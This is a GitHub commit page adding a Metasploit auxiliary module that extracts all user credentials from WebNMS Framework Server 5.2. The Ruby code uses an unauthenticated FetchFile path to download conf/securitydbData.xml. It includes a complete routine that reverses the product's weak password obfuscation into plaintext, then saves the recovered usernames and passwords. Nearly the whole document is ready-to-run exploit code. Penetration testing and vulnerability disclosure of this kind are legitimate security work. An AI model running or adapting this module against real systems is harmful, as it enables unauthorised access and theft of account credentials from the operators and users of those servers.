Skip to content

Commit c2a5da0

Browse files
committed
Land rapid7#7064, Add moule to steal creds from WebNMS 5.2
2 parents 52c6daa + 55f27fb commit c2a5da0

File tree

1 file changed

+274
-0
lines changed

1 file changed

+274
-0
lines changed
Lines changed: 274 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,274 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Auxiliary::Report
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'WebNMS Framework Server Credential Disclosure',
17+
'Description' => %q(
18+
This module abuses two vulnerabilities in WebNMS Framework Server 5.2 to extract
19+
all user credentials. The first vulnerability is a unauthenticated file download
20+
in the FetchFile servlet, which is used to download the file containing the user
21+
credentials. The second vulnerability is that the the passwords in the file are
22+
obfuscated with a very weak algorithm which can be easily reversed.
23+
This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on
24+
Windows and Linux.
25+
),
26+
'Author' =>
27+
[
28+
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
29+
],
30+
'License' => MSF_LICENSE,
31+
'References' =>
32+
[
33+
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ]
34+
],
35+
'DisclosureDate' => 'Jul 4 2016'
36+
)
37+
)
38+
39+
register_options(
40+
[
41+
OptPort.new('RPORT', [true, 'The target port', 9090]),
42+
OptString.new('TARGETURI', [true, "WebNMS path", '/'])
43+
],
44+
self.class
45+
)
46+
end
47+
48+
def version_check
49+
begin
50+
res = send_request_cgi(
51+
'uri' => normalize_uri(target_uri.path, 'servlets', 'FetchFile'),
52+
'method' => 'GET',
53+
'vars_get' => { 'fileName' => 'help/index.html' }
54+
)
55+
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
56+
Rex::HostUnreachable, Errno::ECONNRESET => e
57+
vprint_error("Failed to get Version: #{e.class} - #{e.message}")
58+
return
59+
end
60+
if res && res.code == 200 && !res.body.empty?
61+
title_string = res.get_html_document.at('title').to_s
62+
version = title_string.match(/[0-9]+.[0-9]+/)
63+
vprint_status("Version Detected = #{version}")
64+
end
65+
end
66+
67+
def run
68+
# version check will not stop the module, but it will try to
69+
# determine the version and print it if verbose is set to true
70+
version_check
71+
begin
72+
res = send_request_cgi(
73+
'uri' => normalize_uri(target_uri.path, 'servlets', 'FetchFile'),
74+
'method' => 'GET',
75+
'vars_get' => { 'fileName' => 'conf/securitydbData.xml' }
76+
)
77+
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
78+
Rex::HostUnreachable, Errno::ECONNRESET => e
79+
print_error("Module Failed: #{e.class} - #{e.message}")
80+
end
81+
82+
if res && res.code == 200 && !res.body.empty?
83+
cred_table = Rex::Ui::Text::Table.new(
84+
'Header' => 'WebNMS Login Credentials',
85+
'Indent' => 1,
86+
'Columns' =>
87+
[
88+
'Username',
89+
'Password'
90+
]
91+
)
92+
print_status "#{peer} - Got securitydbData.xml, attempting to extract credentials..."
93+
res.body.to_s.each_line { |line|
94+
# we need these checks because username and password might appear in any random position in the line
95+
if line.include? "username="
96+
username = line.match(/username="([\w]*)"/)[1]
97+
end
98+
if line.include? "password="
99+
password = line.match(/password="([\w]*)"/)[1]
100+
end
101+
if password && username
102+
plaintext_password = super_redacted_deobfuscation(password)
103+
cred_table << [ username, plaintext_password ]
104+
register_creds(username, plaintext_password)
105+
end
106+
}
107+
108+
print_line
109+
print_line(cred_table.to_s)
110+
loot_name = 'webnms.creds'
111+
loot_type = 'text/csv'
112+
loot_filename = 'webnms_login_credentials.csv'
113+
loot_desc = 'WebNMS Login Credentials'
114+
p = store_loot(
115+
loot_name,
116+
loot_type,
117+
rhost,
118+
cred_table.to_csv,
119+
loot_filename,
120+
loot_desc
121+
)
122+
print_status "Credentials saved in: #{p}"
123+
return
124+
end
125+
end
126+
127+
# Returns the plaintext of a string obfuscated with WebNMS's super redacted obfuscation algorithm.
128+
# I'm sure this can be simplified, but I've spent far too many hours implementing to waste any more time!
129+
def super_redacted_deobfuscation(ciphertext)
130+
input = ciphertext
131+
input = input.gsub("Z", "000")
132+
133+
base = '0'.upto('9').to_a + 'a'.upto('z').to_a + 'A'.upto('G').to_a
134+
base.push 'I'
135+
base += 'J'.upto('Y').to_a
136+
137+
answer = ''
138+
k = 0
139+
remainder = 0
140+
co = input.length / 6
141+
142+
while k < co
143+
part = input[(6 * k), 6]
144+
partnum = ''
145+
startnum = false
146+
147+
for i in 0...5
148+
isthere = false
149+
pos = 0
150+
until isthere
151+
if part[i] == base[pos]
152+
isthere = true
153+
partnum += pos.to_s
154+
if pos == 0
155+
if !startnum
156+
answer += "0"
157+
end
158+
else
159+
startnum = true
160+
end
161+
end
162+
pos += 1
163+
end
164+
end
165+
166+
isthere = false
167+
pos = 0
168+
until isthere
169+
if part[5] == base[pos]
170+
isthere = true
171+
remainder = pos
172+
end
173+
pos += 1
174+
end
175+
176+
if partnum.to_s == "00000"
177+
if remainder != 0
178+
tempo = remainder.to_s
179+
temp1 = answer[0..(tempo.length)]
180+
answer = temp1 + tempo
181+
end
182+
else
183+
answer += (partnum.to_i * 60 + remainder).to_s
184+
end
185+
k += 1
186+
end
187+
188+
if input.length % 6 != 0
189+
ending = input[(6 * k)..(input.length)]
190+
partnum = ''
191+
if ending.length > 1
192+
i = 0
193+
startnum = false
194+
for i in 0..(ending.length - 2)
195+
isthere = false
196+
pos = 0
197+
until isthere
198+
if ending[i] == base[pos]
199+
isthere = true
200+
partnum += pos.to_s
201+
if pos == 0
202+
if !startnum
203+
answer += "0"
204+
end
205+
else
206+
startnum = true
207+
end
208+
end
209+
pos += 1
210+
end
211+
end
212+
213+
isthere = false
214+
pos = 0
215+
until isthere
216+
if ending[i + 1] == base[pos]
217+
isthere = true
218+
remainder = pos
219+
end
220+
pos += 1
221+
end
222+
answer += (partnum.to_i * 60 + remainder).to_s
223+
else
224+
isthere = false
225+
pos = 0
226+
until isthere
227+
if ending == base[pos]
228+
isthere = true
229+
remainder = pos
230+
end
231+
pos += 1
232+
end
233+
answer += remainder.to_s
234+
end
235+
end
236+
237+
final = ''
238+
for k in 0..((answer.length / 2) - 1)
239+
final.insert(0, (answer[2 * k, 2].to_i + 28).chr)
240+
end
241+
final
242+
end
243+
244+
def register_creds(username, password)
245+
credential_data = {
246+
origin_type: :service,
247+
module_fullname: self.fullname,
248+
workspace_id: myworkspace_id,
249+
private_data: password,
250+
private_type: :password,
251+
username: username
252+
}
253+
254+
service_data = {
255+
address: rhost,
256+
port: rport,
257+
service_name: 'WebNMS-' + (ssl ? 'HTTPS' : 'HTTP'),
258+
protocol: 'tcp',
259+
workspace_id: myworkspace_id
260+
}
261+
262+
credential_data.merge!(service_data)
263+
credential_core = create_credential(credential_data)
264+
265+
login_data = {
266+
core: credential_core,
267+
status: Metasploit::Model::Login::Status::UNTRIED,
268+
workspace_id: myworkspace_id
269+
}
270+
271+
login_data.merge!(service_data)
272+
create_credential_login(login_data)
273+
end
274+
end

0 commit comments

Comments
 (0)